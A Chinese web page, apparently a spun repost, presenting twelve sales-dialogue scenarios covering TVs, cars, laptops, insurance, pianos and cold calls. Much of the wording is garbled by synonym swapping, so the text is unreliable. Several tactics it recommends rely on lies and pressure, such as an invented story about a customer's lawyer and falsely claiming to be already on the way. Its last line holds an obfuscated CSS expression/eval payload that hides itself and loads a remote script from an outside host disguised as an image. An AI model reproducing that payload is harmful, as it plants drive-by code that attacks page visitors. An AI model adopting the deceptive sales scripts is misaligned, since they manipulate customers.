“咱们的冰箱取得了国际大奖

小王1

相关的主题文章：

  
   何?何地都能够做?
  
   活跃有趣
  
   冲清洁盐粒
  
   听起来很残暴
  
   男孩一边骂着小傻瓜
  
1．客户直接问价，怎么办？
客户：“这个34寸的高清数码彩电多少钱呀？”
销售人员：“这是最新款式的，3480元。”
客户：“太贵了！能不能便宜一点？”
销售人员：“这个最新款的，不仅有最新的显示技术，还有静电维护技术，自动打消残影技术，而且，现在是长假已经是最优惠的切实价格了，不能便宜了。”
客户：“那我还是再看看吧。”
销售人员回答毛病。在碰到客户直接问价格的时候，第一反映应该是确认客户了解这个产品之后才可以谈价格。直接问价的就是价格导向的客户，在回答价格以后，客户的逻辑回答就是太贵了。这样，销售人员没有任何解释的空间，客户也不给销售人员机会来解释产品的技术或独到的当先之处。正确的回答如下：
销售人员：“您真是好眼力，您看中的可是现在最风行的，最新推出的格式，价钱可不廉价，挺贵的！”
此时要暂停，将缄默留给客户。客户会急于追问“到底多少钱呀？”
销售职员：“要不说你眼光好呢，这个34寸，3480元。”
此时，客户的回答一定是这样的两种。
a客户：“是不便宜。那么为什么这么贵呢？”
b客户：“您这3480元就叫贵了？真是开玩笑，这不算贵。”
对于第二种，销售已经赢得了这个客户，对于第一种的回答，正好给销售人员一个解释产品机能的机会，属于牵强附会。
要点：客户直接问价后的回答要知难而上，先说贵，等客户继续问贵是多少的时候，再回答具体的价格。
2．不了解客户的情形，想知道，怎么办？
有一些产品的销售不是快捷成交的，比方汽车，客户普通会到车行屡次懂得感兴趣的车，来往中，销售人员异常盼望有机遇了解到潜在客户的职业。一个客户走进奥迪车行，一个销售顾问迎上来招待。
销售参谋：“您好，您来看看车？爱好哪个款式的？”
客户：“比较喜欢A6，你大略介绍一下吧。”
销售顾问：“A6应该是第一部国产奢华轿车型，不仅质量可靠，能源性能好，平安性也是一流的。您是什么公司的？”
客户一愣，心想：我是什么公司的与买车有关联吗？于是，客户回答：“不用管我是什么公司的，您介绍车就行了。”
销售顾问愿望了解客户的具体资料，用于客户分开后填写客户资料表，从而制定跟踪打算，但是，客户不乐意回答这个问题。因为，销售人员的办法错误，正确的方式应该是：
客户顾问：“A6应该……安全性也是一流的。具体重点介绍什么方面，还要尊重您的意见，我感到您是律师吧？”
对销售顾问的猜想，潜在客户正常有两种可能的回答：
a客户：“我不是律师，我是搞房地产的。”
b客户：“我不是律师，不用问我是什么，从安全性开始介绍就行。”
第一种不须要再追问，因为许多人在否认了一个预测之后的本能就是详细说出自己从事的职业。对于第二种回答，销售人员必需给予一个妥善的解释，好比：“您别介意，因为上周，有一个客户提了一台A6，走的时候，说他们团体的首席律师也要买一台车，说的就是今天这个时候，现在还没有到。我看您气度轩昂，还真的认为就是您呢。那您一定是媒体的首席记者。”周到的解释给再次预测提供了借口，如果客户接收了解释，那么面对再次猜测的时候，简直没有什么抵御，就会说：“我也不是媒体的，我是搞电视制作的。”
要点：要达到了解潜在客户身份的目标，有多种方法，以上这个方法是常用的一个试探方法。
3．客户与“智囊”一起来，挑战性的刨根问底，怎么办？
在客户了解了筹备购买的产品之后，多方求教，最后一次拜访，找了一个所谓懂行的朋友一起来，这次，主要客户倒没有什么疑难问题，然而，这个朋友却寻衅地问许多敏感问题，如：
销售人员：“这款笔记本电脑的速度仍是相称快的，何况我们的售后服务系统也很周密，究竟是有名品牌嘛！”
朋友：“前两天消息说，您们预备削减保修网点了，而且，对许多属于产品质量的问题还躲避，甚至服务热线都拨不通，始终占线，是怎么回事？”
销售顾问：“那是有一些顾客成心找茬，属于本人误操作导致笔记本无端逝世机，完整是不合法操作导致的，不属于保修范畴，当然就不能保修了。”
朋友：“只有客户有争议，你们都说有理，再说了，盘算机这个事情，谁说得准，怎么能信任你们呢？”
销售顾问无论怎么解释，潜在顾客的朋友就是不妥协，平易近人，非要销售顾问无言以对才了结，最后就是客户也开始疑惑产品了。
销售人员的回答方法错误。正确的回答方法应该是有效的使用“垫子”。
销售人员：“你真是内行，这么了解我们的品牌的事情，而且，对于采购笔记本特别在行，问的问题都这么尖利和正确。”此时要停顿片刻，让潜在客户以及他的友人回味一下，然后，接着说：“很多客户都非常关怀产品质量保修问题，当产品产生问题时，客户的观点是首先得到尊敬和保障的，我们要求国度工商部分同意的质量部门辨别产品质量问题的义务，一旦最后鉴别的结果是我们负责，那么我们就承当所有的责任。在产品送去动摇的进程中，为了确保客户有电脑使用，我们还提供一个常设的笔记本供客户使用，您看这个做法您满足吗？”
要点：尤其是客户邀请“军师”出马的时候，就是施展“垫子功能”的时候。
4．客户货比三家，怎么办？
客户在同类产品中重复比较，不能最后决定，一旦其它企业推出全新产品，又被吸引走了，但也没有及时决议，洽购。此时，阐明销售顾问没有赢得信任。
客户：“有诺基亚8210型号的手机电池吗？”
销售人员：“我们是诺基亚的专卖店，不仅有8210的型号，所有型号都有。”
客户：“这个电池的待机时光多长呢？”
销售人员：“待机时间是4天。”
客户：“好的，那我再看看别的店。”
客户到其它店里看，销售人员的回答几乎相似，只是待机时间不同，比如：“我们的待机时间是120小时”或者“我们的待机时间是两个礼拜”等。这些回答都是一个程度的，都没有超出，让客户仅仅在时间长进行比较。高明的销售人员是这样回答的：
销售人员：“您关注的待机时间的确是判定电池好坏的主要指标，不过，买到好的手机电池不仅要看其待机时间，还要看其充电时间。我们这个电池的待机时间是72小时，充电时间是15分钟，手机电池有许多，不容易抉择，你多看看，多比较一下，然后，决定了再回来。”
此时，客户再到别的店讯问时，一定是这样的：
客户：“那么，这个电池的待机时间多长呢？”销售人员：“我们这个电池的待机时间是4天。”客户：“那么充电时间是多少呢？”
由于这个销售人员是第一次听到这个问题，于是他只能说，要看产品手册，或者不知道。此时，在潜在客户的头脑中率先提出充电时间的销售人员博得了客户的信任。
要点：在销售对话的实践领导中，这就是销售产品不如先销售评估产品的尺度。敏捷在潜在客户的脑筋中树立一个坚固的先入为主的标注，从而限度他到处比价的才能。
5．客户用竞争对手的长项来刁难，怎么办？
潜在客户已经充足了解了我们的产品之后，在决定购买前到竞争对手那里去看一下，回来当前问销售人员如下问题：
    客户：“人家的那个冰箱不仅内部空间大，主动除霜，而且还特殊省电。你们这个似乎不这个特色呀。”
销售人员：“其实也省不了多少电，症结还是保鲜跟空间才是冰箱主要考虑的要点。”
这样的回答并不能排除客户心坎的顾虑，他对于省电的疑问没有得到真正的解决。有效的回答手腕是这样的：
销售人员：“您关注的真的非常细心，我想请你思考一个问题，冰箱的主要功效是什么？首先应该是保鲜，以及容量可以寄存全部家庭用的蔬菜，生果或者熟食，如果为了到达省电的要求而下降冰箱的制冷温度，导致保留的食物变质，那么省电的意思何在呢？”
要点：这个回答的关键就是让客户回到对冰箱的最基础的思考上，不要被竞争对手额定的所谓产品翻新牵引，在强调了产品的根本属性之后，会赢得客户的信任。
6．客户问题多多，就是不买产品，怎么办？
客户在采购产品过程中对产品有许多问题是正常的，有一些客户，他们的问题特别多，每次问完以后都要求考虑多少天，几天之后，他们又有了新问题。如下：
客户：“35岁以后，这个性命保险的保费为什么贵这么多呢？”
销售人员：“因为35岁以后，人体的各个组成肌体的新陈代谢的效力开端降低，所以，导致生病的可能加大，从而增添了保险公司的赔偿数目，所以保费有相应的进步。”客户仿佛懂了，回去思考两天后又有了新的问题。
客户：“那么，遇到交通意外，除了交通工具给的赔偿外，保险公司还会理赔吗？”
    销售人员：“交通工具给的赔偿是责任赔偿，保险公司给的抵偿是您投保后依照合同正常支付的，完全是两回事，所以，还是会理赔的。”客户思考两天后，回来持续有问题。
客户：“我又想到了一个问题，如果人失落，你们如何理赔呢？”
销售人员：“按照公司的规章轨制，失踪在经过公安机构的确认后一段时间后，当作生命意外死亡处置，也是会理赔的。”
客户两天后会再有新的问题。对于这样的客户，销售人员不应该每次都给予明白的回答，应该在第一个问题时，就这样回答：
销售人员：“所有有关保险的疑问都在我们的问答手册中，有关保险合同也是最周密的，从掩护投保人和受益人的利益动身的，你现在是在比较和取舍阶段，应该多亲身了解，我的回答如果没有落着实白纸上也不是有法律效率的，所以，您的问题都可以在书面上找到谜底。请以书面解答为准。”
要点：有关这个回答的理论说明可以支撑这个说法，这是销售策略问题。请求客户在寻找，比较产品时，投入一定的本钱。
7．客户不信任销售人员，怎么办？
客户问：“方才你先容的ipod的电池寿命真的能够用3年？”
销售人员：“您看，仿单上有详细的电池寿命的说明，正真常使用情况下，充电次数为5000次，您一天最多冲4次电的情况下，就是1250天，差不多4年呢。”
客户问：“可是您们这个产品刚推出不到半年，你怎么知道可以用3年呢？”
销售人员：“一个产品推向市场都是经过大批测试的，也经由国家的测验的，您就放心吧。”
客户：“如果电池不到三年就无法充电了，你准许给免费更换吗？”
销售人员：“如果产品过了保修期，调换是要收费的，保修期是一年。”
客户：“所以，还是不一定保障可以使用三年。”
此时销售人员已经没有足够的理由来让客户信赖了，客户有各种各样的疑难实在是无比十分畸形的事情。导致客户猜忌产品品德，技巧特点的重要起因，是销售人员在介绍产品时没有运用到FAB的技巧。假如利用FAB技能，在客户提出问题时，销售人员的回允许该是这样的：
销售人员：“所有的小型电器产品，尤其是挪动类的产品，如ipod这样的MP3播放器的主要挑衅就是电池性能。在美国，许多消费者最在意的就是这款随身听的电池持久性，在产品推向市场前，经过大量的实验，尤其是抗衰减测试，现在内置电池已经比以前的性能提高了百倍，可以支持5000次以上的充电，一般一天充电4次的话，可以使用1250天，将近4年的时间了，许多用户使用4年以后，也到了更新换代的时候，如果继续使用，我们提供成本价改换电池的服务，这才是品牌产品的独到之处。”
要点：有效应用特优利的产品介绍技巧是要害。要控制陈说产品对花费者的好处局部，而不是滔滔不绝地讲产品特点。
8．客户就要便宜，怎么办？
客户：“你也别说那么多了，再给我打3折，我现在就买。”
销售人员：“好吧，那我就给再打3折，打折后共是1590元。”边说边开票。客户破刻说：“你先别开票，我带的钱也未几，再说我还要与我家人磋商一下呢。”
成果销售人员供给了进一步便宜的价格，客户依然没有立即购置，这就是过错的答复结果。准确的回许可该这样：
销售人员：“您就是说说吧，我就是给您打3折，您也不会立刻就买。”
客户：“不会，您看这是现金，一共2000多块，您再打3折，就交款。”
销售人员：“这样，您先交易一下订金，我没有权利给您打3折，您交了订金，我去请示经理，他如果不赞成，我就把订金退还给您，您看行吗？”
客户：“您先去问，问好了回来我就直接买了。”
销售人员：“我就说了打3折您也不会买，再说了，如果没收到订金，我去找经理谈，好不轻易谈下来，您又变更了，我没法交待。您还是再考虑考虑吧。”
客户：“那行，我先给您100元，您去问吧。”
销售人员在收到100元后，离开片刻，回来时，批准客户的3折，客户由于交了100元订金，所以不会丧失这100元而转变主张，因此成交。
要点：在对话中首先把持自己的主动权，当主动权在手时，就有节制和影响能力。
9．客户对产品缺少足够的兴趣，只能做简略的价格比拟，怎么办？
这个情况常常发生在大型卖场中客户规划采购冰箱，因此，到卖场来寻找合乎内心盼望的产品，但是，客户并不了解产品，因此，一般都是先看标价，通过标价来断定产品的质量以及其余参考值。客户走过展台前，销售人员一般都是吆喝式的叫卖：
“咱们的冰箱取得了国际大奖，同时也是环保冰箱，不仅节能，而且没有传染，省电，保鲜……现在遇上十一不仅有打折还有优惠，另外现在购买会送礼品，价格也是最低的了，十一长假停止后，确定不是这个价了……决议吧。”
客户听都不听，疾速离发展台，有效的策略应用在沟通上，应当是这样。
“不能自动除霜非常麻烦吧？”“不能自动制作冰块不方便吧？”“冷冻空间太低总是哈腰挺累吧？”“冷藏的鱼虾拿出来的时候冻的太硬吧？”“冰箱内总是有异味吧？”“有时候不迭的冰箱中有什么了吧？”这些都是消费者在使用冰箱时可能会遇到的大大小小的各种问题。当潜在消费者听到自己熟习的、遇到过的问题时，就会停下脚步当真听销售人员的话，此时，销售人员就可以趁势引到到产品利益方面。
要点：营销中的名言就是“问题是需求之母”，只要有效的陈述潜在客户看到的，听到的，以及应用中感触到的产品问题时，客户一定会有兴趣。
10．客户之间意见不同一，如夫妻对采购有争议，怎么办？
客户夫妻两人看法不同，妻子说：“我还是喜欢珠江牌的，星海是北京的。”
丈夫说：“其实，咱们也不懂，人家这位专家挺懂的，再说我认为星海也是老牌子，肯定不错。”
妻子：“那珠江还出口到德国呢，要是质量不可靠，怎么可能出口呢。”
星海销售人员：“刘女士，其实珠江牌钢琴主要是离香港近，出口都是一些港商办的。星海在国际上也失掉了一些品质奖，也是过关的。何况你们也来了几回了，要不，如果你们决定的话，我再让经理争夺给你们多一些折扣，您看如何？”
销售人员为了获得客户，只好通过主动降价的方法却是大失所望的。其实，面对客户之间的抵触，销售人员有很好的机会来掌握销售机会。
星海销售人员：“先生，您听我说两句，其实，您太太也是好意，考虑买一个可靠的钢琴，省得日后维修、颐养麻烦。珠江确实也是相称好的品牌，不外对北方来说，珠江采取的琴木是楠木，在南方湿润的天气前提下没问题，北方干燥的气象不一定适应，星海就是北京钢琴厂，1949年就制造钢琴了。总之买一个好的钢琴都是为了体现爱心，对下一代的冀望。北京的琴呢，日后的保护，保养都便利，未来肯定是太太在家陪孩子练琴的时间多，先生的好心是感到过硬的琴减少日后的麻烦，也都是为了有一个牢靠的释怀的琴呀。刘女士，您说呢？”
听了这番话后，有争议的两个人都懂得了对方，从而决定了采购星海牌钢琴。
要点：在面对夫妻采购意见不一致时，最好的措施就是奇妙撬动他们之间的感情，相互体贴的考虑就是增强他们独特认可销售人员的机会。
11．客户接听电话后，话没有说完，就要挂电话，怎么办？
销售人员拨通电话：“先生您好，这里是国际着名IT品牌XX个人终端服务中央，我们在搞一个调研运动，您有时间我们可以问两个问题吗？”
客户：“您讲。”
销售：“您常常使用电脑吗？”
客户：“是的，工作无法离开电脑。”
销售：“您用的是台式机还是笔记本电脑？”
客户：“在办公室，用的是台式机，在家就用笔记本电脑。”
销售：“我们最近的笔记本电脑有一个特别优惠的促销阶段，您是否有兴趣？”
客户：“您就是在促销笔记本电脑吧。不是搞调研吧。”
销售：“其实，也是，但是……”
客户：“您不必说了，我现在对笔记本电脑没有购买的兴致，由于我有了，而且，现在用的很好。”
销售：“不是，我的意思是，这次机会难得，所以，我……”
电话销售常常需要面对生疏人，让陌生人可能继承听销售人员的话的主要窍门不是推销产品的话多么流畅，也不是口吻如许甜蜜。对于一个接到陌生人的推销电话的人来说，防备及敌意是第一位的，因此对于销售人员来说，关键就是赢得信任。XX电话呼叫核心对销售人员培训的结果就是假造搞考察为借口来进行电话沟通，其实，听到第二句就已经知道是倾销电话了。请看以下方法：
销售人员拨通电话：“先生您好，我是国际著名IT品牌XX个人服务终端中央的，您一定奇异我是怎么知道您的电话的吧？”
客户：“您什么事情？”
销售人员：“我们的数据库中有您的记载，您对电脑笔记本特别有研讨，而且不是个别的研究。”
客户：“您到底什么事件？”
销售：“这个电话就是想征求您的意见，如果对现在使用的笔记本电脑有不是特别满意的处所，就告知我们，我们会支付您报酬，因为我们特别需要像您这样的笔记本电脑方面的专家赞助我们改良产品性能。”
客户：“噢，这样呀。您是谁？”
销售：“我是XX的王丽娜，您肯定没有太多时间来写，如果您有片言只语，随意说一下，我记载，而后就可以加入评选了。您如果现在没有时间，我们换一个时间也行，您看呢？”
这个环节的过渡就非常有效。
要点：牢牢捉住潜在客户说的任何主题，建立关系度，向销售人员有利的方向平滑过渡才可以赢得客户的理解和尊重。
12．客户借口说现在太忙，怎么办？
客户在索要了有关友邦保险的5年期两全保险的材料后就没有接洽了，因而，销售人员自动给客户打电话了解客户的详细需要。
销售人员：“李先生您好，上次给您送的保险资料都看过了吧。”
客户：“看过了！”
销售人员：“有没有什么具体的问题，我是否辅助您呢？”
客户：“不用，我基本了解了，我现在挺忙，等有时间我再给您电话，可以吧。”
销售人员：“我是考虑您，保险主要保的就是意外，如果您特别忙，解释时常在外，保险系数就比较低，如果投保了，对家人老是一种抚慰，您说呢？”
客户：“我晓得，当初不说了，我还在开会，确切太忙，我必定给您电话的。”
销售人员：“我们上门，一点都不添麻烦，只要5分钟。5分钟如果可以获得一个妥当的保险还是值得的，您忙我们侯着您。”
客户：“不行啊，这个会完了立刻就要走。”
要知道，这些话语不足以打动一个贸易上繁忙的生意人。要从中心本质上感动客户。
销售人员：“我知道您肯定特别忙，不让您就给我电话了。我这个电话的意思是，我们友邦有一个精神，那就是不能因为客户忙而延误了客户感兴趣的保险，不能因为您忙让您无奈享受我们的优质服务，这样，我们约一个时间，我过来。”
客户：“您过来呀？我还在开会。”
销售：“不要斟酌我，您开会，我等你。友邦精力不能在我这里停止，您说地点吧。”
客户：“不行啊，这个会完了，立刻就要走，肯定没有时间与您谈。”
销售：“我们不用谈，5分钟就够，真实                  未审不行，我与您的秘书具体谈一下也行，其实我都已经在路上了，我来核实一下您的具体地址。”
客户：“都已经在路上了？那好吧，地址是……”
要点：应答忙碌的客户首先要强调要求的时间是短暂的，其次要强调已经采用举动了的时间压力，从而获得邀约的胜利。 [flash,0,0] style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/